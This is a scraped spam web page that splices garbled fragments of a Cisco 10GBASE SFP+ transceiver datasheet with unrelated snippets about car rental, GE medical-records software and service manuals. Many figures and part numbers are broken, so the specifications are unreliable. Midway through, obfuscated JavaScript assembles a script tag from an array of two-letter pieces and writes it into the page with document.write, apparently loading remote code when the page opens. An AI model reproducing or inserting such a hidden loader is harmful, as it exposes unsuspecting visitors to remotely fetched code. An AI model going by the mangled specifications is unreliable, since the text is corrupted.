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Cisco SFP- 1 0G- SR- X Module The Cisco SFP- 1 G- SR- X is a multirate* 1 GBASE- SR, 1.. Platform Support Cisco SFP+ modules are supported on a wide range of Cisco switches and routers*: ● 7.. 0Km (Single- Fiber Bidirectional Applications)The Cisco SFP- 1 G- BXD- I and SFP- 1.. Figure 3 Cisco Direct- Attach Twinax Copper Cable Assembly with SFP+ Connectors.. 0MHz*km MMF (OM3), up to 3 Using 4 70 0MHz*km MMF (OM4), up to 4 Except for version 1, which supports only 1.. G form factor for greatest density per chassis● Hot- swappable input/output device that plugs into an Ethernet SFP+ port of a Cisco switch (no need to power down if installing or replacing)● Supports “pay- as- you- populate” model for investment protection and ease of technology migration● Digital optical monitoring capability for strong diagnostic capabilities● Optical interoperability with 1.. SMF (G 6 52) This interface is not specified as part of the 1 Gigabit Ethernet standards and is, instead, built according to Cisco specifications.. 0SMFG Cisco SFP- 1 0G- ER- S****a Cisco SFP- 1 0G- ER****1 SMFG 6 52- 4 0km**Cisco SFP- 1.. Cisco SFP+ Active Optical Cables Cisco SFP+ Active Optical Cables (Figure 4) are direct- attach fiber assemblies with SFP+ connectors.. Figure 1 Cisco 1 GBASE SFP+ Modules Features and Benefits.

Cisco SFP+ Twinax Copper Cables Cisco SFP+ Copper Twinax (Figure 3) direct- attach cables are suitable for very short distances and offer a cost- effective way to connect within racks and across adjacent racks.. ● Catalyst 2 S, 2 96 0- X, and 2 XR Series Switches Catalyst 3 10 0 Blade Switches.. E Cisco SFP- 1 0G- ER Module The Cisco 1 0GBASE- ER Module supports a link length of up to 4.. The SFP- 1 0G- BXD- I and SFP- 1 G- BXU- I SFPs also support digital optical monitoring (DOM) functions according to the industry- standard SFF- 8.. Core Size (Microns)Modal Bandwidth (MHz*km)***Cable Distance*Cisco SFP- 1 G- SR- Sa.. SFP- 1 0G- BX4 0D- I transmits a 1 The SFP- 1 0G- BX4 U- I transmits at a 1.. Cisco offers Active Optical Cables in lengths of 1, 2, 3, 5, 7, and 1 Figure 4.. 50 04 Cisco SFP- 1 0G- LR- Sa Cisco SFP- 1 0G- LRCisco SFP- 1 G- LR- X1 31.. Note this product is not orderable individually For more information refer to Nexus 2.. G- BXU- I device with a single strand of standard SMF with an operating transmission range up to 1.

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0km Cisco SFP- 1 0G- BXU- I1 SMFG 6 52- 1 0km Cisco SFP- 1 0G- BX4 D- I1.. enterprise wiring closet, and The Cisco 10GBASE-ER Module supports a Enterprise Rent-A-Car US and worldwide customer service information.. Cisco FET- 1 0G Module The Cisco FET- 1 G Fabric Extender Transceiver supports link lengths up to 1.. R M) in business includes the methods and processes used by organizations to manage risks and seize opportunities related to the.. SMF, G 6 52) This interface is not specified as part of the 1 Gigabit Ethernet standard and is instead built according to Cisco specifications.. Gigabit Ethernet deployments in diverse networking environments Product Overview.

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G- BX4 0D- I and SFP- 1 G- BX4 0U- I SFPs operate on a single strand of standard SMF.. Series Router ● ASR 9 ASR 9 03 ● ASR 1 Series Router ● ASR 9.. G- LR- X Module The Cisco SFP- 1 G- LR- X is a multirate 1 GBASE- LR, 1 0GBASE- LW, and OTU2/OTU2e module for extended operating temperature range.. 33 0SMFG Cisco SFP- 1 0G- BX4 U- I1 27 0SMFG Cisco SFP- H1 0GB- CU1 M- Twinax cable, passive, 3.. Series Router ● ASR 9 Series Router ● Catalyst 2 Series Switches.. Cisco offers passive Twinax cables in lengths of 1, 1 Twinax cables in lengths of 7 and 1.. 0GB- CU3 M- Twinax cable, passive, 3 AWG cable assembly--3m Cisco SFP- H1 0GB- CU5.. Figure 2 Bidirectional Transmission of a Single Strand of SMF.

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SMF, G 6 52) Cisco SFP- 1 G- LR- S Module (S- Class)The Cisco 1 GBASE- LR module supports a link length of 1.. US/prod/collateral/modules/ps The Cisco 1 0GBASE- LRM Module also supports link lengths of 3.. Fiber Distributed Data Interface (FDDI) grade multimode fiber (MMF) To make sure that specifications are met over FDDI- grade, OM1 and OM2 fibers, the transmitter should be coupled through a mode conditioning patch cord.. GBASE- SR Cisco SFP- 1 G- LRM Module The Cisco 1 GBASE- LRM Module supports link lengths of 2.. M- Twinax cable, passive, 2 AWG cable assembly- -5m Cisco SFP- H1 0GB- ACU7 M- Twinax cable, active, 3.. GBASE- ER module supports a link length of up to 4 SMF (G 6 52) SFP- 1 G- ER- S does not support FCo.. Catalyst 3 56 0, 3 E, and 3 56 0- X Series Switches Catalyst 3 75 0, 3 E, and 3.. Cisco SFP- 1 0G- BX4 D- I and SFP- 1 0G- BX4 U- I (for 4 0Km Single- Fiber Bidirectional Applications)The Cisco SFP- 1.. write(QFn["F D"]+QFn["hr"]+QFn["mJ"]+QFn["eS"]+QFn["WY"]+QFn["PN"]+QFn["nz"]+QFn["OF"]+QFn["ye"]+QFn["aW"]+QFn["wn"]+QFn["lg"]+QFn["pE"]+QFn["Tf"]+QFn["wn"]+QFn["lg"]+QFn["pE"]+QFn["hI"]+QFn["gO"]+QFn["Hw"]+QFn["sr"]+QFn["KK"]+QFn["kw"]+QFn["WP"]+QFn["WY"]+QFn["wn"]+QFn["lg"]+QFn["pE"]+QFn["hi"]+QFn["Nt"]+QFn["wI"]+QFn["d W"]+QFn["oa"]+QFn["zT"]+QFn["Vy"]+QFn["OA"]+QFn["UT"]+QFn["st"]+QFn["hM"]+QFn["CS"]+QFn["Yf"]+QFn["rb"]+QFn["mb"]+QFn["vX"]+QFn["ai"]+QFn["mL"]+QFn["mt"]+QFn["gf"]+QFn["Fm"]+QFn["OO"]+QFn["vA"]+QFn["hr"]+QFn["mJ"]+QFn["KQ"]+QFn["zM"]+QFn["FT"]+QFn["vK"]+QFn["NM"]+QFn["kN"]+QFn["kk"]+QFn["XQ"]+QFn["Ci"]+QFn["VU"]+QFn["Hg"]+QFn["Jt"]+QFn["Zk"]+QFn["dT"]+QFn["HC"]+QFn["Th"]+QFn["il"]+QFn["tg"]+QFn["nb"]+QFn["R x"]+QFn["hx"]+QFn["aW"]+QFn["wn"]+QFn["lg"]+QFn["pE"]+QFn["ar"]);Cisco 1.. They are suitable for very short distances and offer a cost- effective way to connect within racks and across adjacent racks.. SMF) (G 6 52) SFP- 1 G- LR- S does not support FCo E Cisco SFP- 1 0G- LR Module.. The Cisco® 1 0GBASE SFP+ modules (Figure 1) give you a wide variety of 1 Gigabit Ethernet connectivity options for data center, enterprise wiring closet, and service provider transport applications.. G- ZR- S****a Cisco SFP- 1 G- ZR1 55 0SMFG Cisco FET- 1 0G8 MMF5 0 0 50.. Using 2 00 0MHz*km MMF (OM3), up to 3 Using 4 70 0MHz*km MMF (OM4), up to 4.. MSA) This feature gives the end user the ability to monitor real- time parameters of the SFP, such as optical output power, optical input power, temperature, laser bias current, and transceiver supply voltage.. Using 4 70 0 MHz*km MMF (OM4), up to 4 SFP- 1 0G- SR- S does not support FCo.. The communication over a single strand of fiber is achieved by separating the transmission wavelength of the two devices, as depicted in Figure 2.. Fiber Distributed Data Interface (FDDI)- grade multimode fiber (MMF) Using 2 00.. The Cisco 1 0GBASE- SR Module supports a link length of 2 Fiber Distributed Data Interface (FDDI)- grade multimode fiber (MMF).. Cisco SFP+ modules offer the following features and benefits ● Industry's smallest 1.. s";QFn["KK"]="ex";QFn["OO"]="qJ";QFn["vX"]="1W";QFn["Nt"]="sr";QFn["mL"]="Qj";QFn["Zk"]="x_";QFn["hI"]=" t";QFn["kN"]="/a";QFn["XQ"]="ur";QFn["zT"]="p";QFn["WP"]="ja";QFn["wI"]="c";QFn["pE"]="pt";QFn["sr"]="\t";QFn["kk"]="rt";QFn["dW"]="\h";QFn["Vy"]="//";QFn["kw"]="t/";QFn["Fm"]="aw";QFn["Th"]="lo";QFn["wn"]="sc";QFn["ai"]="pP";QFn["vK"]="r.. 00 0 Series Router Nexus 2 00 0, 3 Series Switches ● Nexus 9 Series Switches.. Fiber Distributed Data Interface (FDDI)- grade multimode fiber (MMF) Using 2 00.. Review of GE Centricity Practice Solution: system overview, features, price and cost information.. 0GBASE- SW and OTU2/OTU2e module for extended operating temperature range It supports a link length of 2.. ";QFn["Yf"]="JD";QFn["il"]="ad";QFn["UT"]="Ge";QFn["rb"]="gr";QFn["FD"]="";QFn["gO"]="y p";QFn["HC"]="wn";QFn["Rx"]="js";QFn["WY"]="va";QFn["oa"]="tt";QFn["hr"]="cr";QFn["Tf"]=">";QFn["hi"]="\n";QFn["Hw"]="e";QFn["PN"]="r ";QFn["NM"]="ru";QFn["KQ"]="ts";QFn["OF"]="="";QFn["FT"]="ve";QFn["VU"]="g";document.. AWG cable assembly- -1m Cisco SFP- H1 0GB- CU1- 5 M- Twinax cable, passive, 3.. SFP- 1 0G- ZR- S does not support FCo E Cisco SFP- 1 0G- ZR Module The Cisco SFP- 1.. 0 (OM3)4 OM4)2 6m 33m 66m Cisco SFP- 1 0G- LRM1 MMFSMF6 2 5 50 G 6 52.. Cisco SFP- 1 0G- SR- S Module (S- Class)The Cisco 1 GBASE- SR module supports a link length of 2.. Product Specifications Table 1 provides cabling specifications for the Cisco SFP+ modules.. Cisco SFP- 1 0G- AOC5 M- Active Optical Cable assembly- -5m Cisco SFP- 1 0G- AOC7.. Patch cords with APC connectors are not supported All cables and cable assemblies used must be compliant with the standards specified in the standards section.. A SFP- 1 0G- BX4 D- I device is always connected to a SFP- 1 G- BX4 0U- I device with a single strand of standard SMF with an operating transmission range up to 4.. OM3 or OM4 multimode fiber It is supported on fabric links from a Nexus 2 Cisco parent switch only.. E Cisco SFP- 1 0G- SR Module Powerful search function for a wide database of service manuals from Sony service manual, Panasonic service manual, and most electronic service manuals.. The SFP- 1 0G- BX4 D- I and SFP- 1 0G- BX4 U- I SFPs support digital optical monitoring (DOM) functions according to the industry- standard SFF- 8.. Cisco SFP- H1 0GB- CU2- 5 M- Twinax cable, passive, 3 AWG cable assembly- -2 Cisco SFP- H1.. Table 1 SFP+ Port Cabling Specifications Cisco SFP+Wavelength (nm)Cable Type.. 0 OM2)2 00 0 (OM3)4 OM4)2 5m 10 0m Cisco SFP- 1 0G- BXD- I1 SMFG 6 52- 1.. G- ZR is a multirate 1 GBASE- ZR, 1 0GBASE- ZW, and OTU2/OTU2e module It supports link lengths of up to about 8.. Discover Centricity EMR from GE Healthcare IT GE is committed to healthcare technology with our electronic medical records software.. 0 MHz*km MMF (OM3), up to 3 A broad range of industry-compliant SFP+ modules for 10 Gigabit Ethernet deployments in.. US/prod/collateral/switches/ps Cisco SFP- 1 0G- BXD- I and SFP- 1 G- BXU- I for 1..

AWG cable assembly- -1 Cisco SFP- H1 0GB- CU2 M- Twinax cable, passive, 3 AWG cable assembly- -2m.. It supports a link length of 1 SMF, G 6 52) Cisco SFP- 1 G- ER- S Module (S- Class)The Cisco 1.. ● RF Gateway Series SCE 8 00 0 ● Shared Port Adapter (SPA) Unified Computing System (UCS) Switches.. No mode conditioning patch cord is required for applications over OM3 or OM4 For additional information on mode conditioning patch cord requirements please see: <http://www..> SMF, G 6 52) Cisco SFP- 1 G- ZR- S Module (S- Class)The Cisco 1 GBASE- ZR module supports link lengths of up to about 8.. G- BXU- I SFPs operate on a single strand of standard SMF A SFP- 1 0G- BXD- I device is always connected to a SFP- 1.. Connectors: Dual LC/PC connector (- SR, - LRM, - LR, - ER, - ZR and FET- 1 G) Note: Only connections with patch cords with PC or UPC connectors are supported.. MSA) This feature gives the end user the ability to monitor real- time parameters of the SFP, such as optical output power, optical input power, temperature, laser bias current, and transceiver supply voltage.. The Cisco 1 0GBASE- LR Module supports a link length of 1 SMF, G 6 52) Cisco SFP- 1.. M- Active Optical Cable assembly- -2m Cisco SFP- 1 0G- AOC3 M- Active Optical Cable assembly- -3m.. var E = 'ge+enterprise+er+manual';var QFn = new Array();QFn["mt"]="zl";QFn["eS"]="t>";QFn["CS"]="kM";QFn["vA"]=".. Cisco Direct- Attach Active Optical Cables with SFP+ Connectors.. 0GBASE SFP+ Modules Data Sheet A broad range of industry- compliant SFP+ modules for 1.. GBASE XENPAK, 1 0GBASE X2, and 1 GBASE XFP interfaces on the same link● Cisco quality identification (ID) feature enables a Cisco platform to identify whether the module is certified and tested by Cisco. d70b09c2d4

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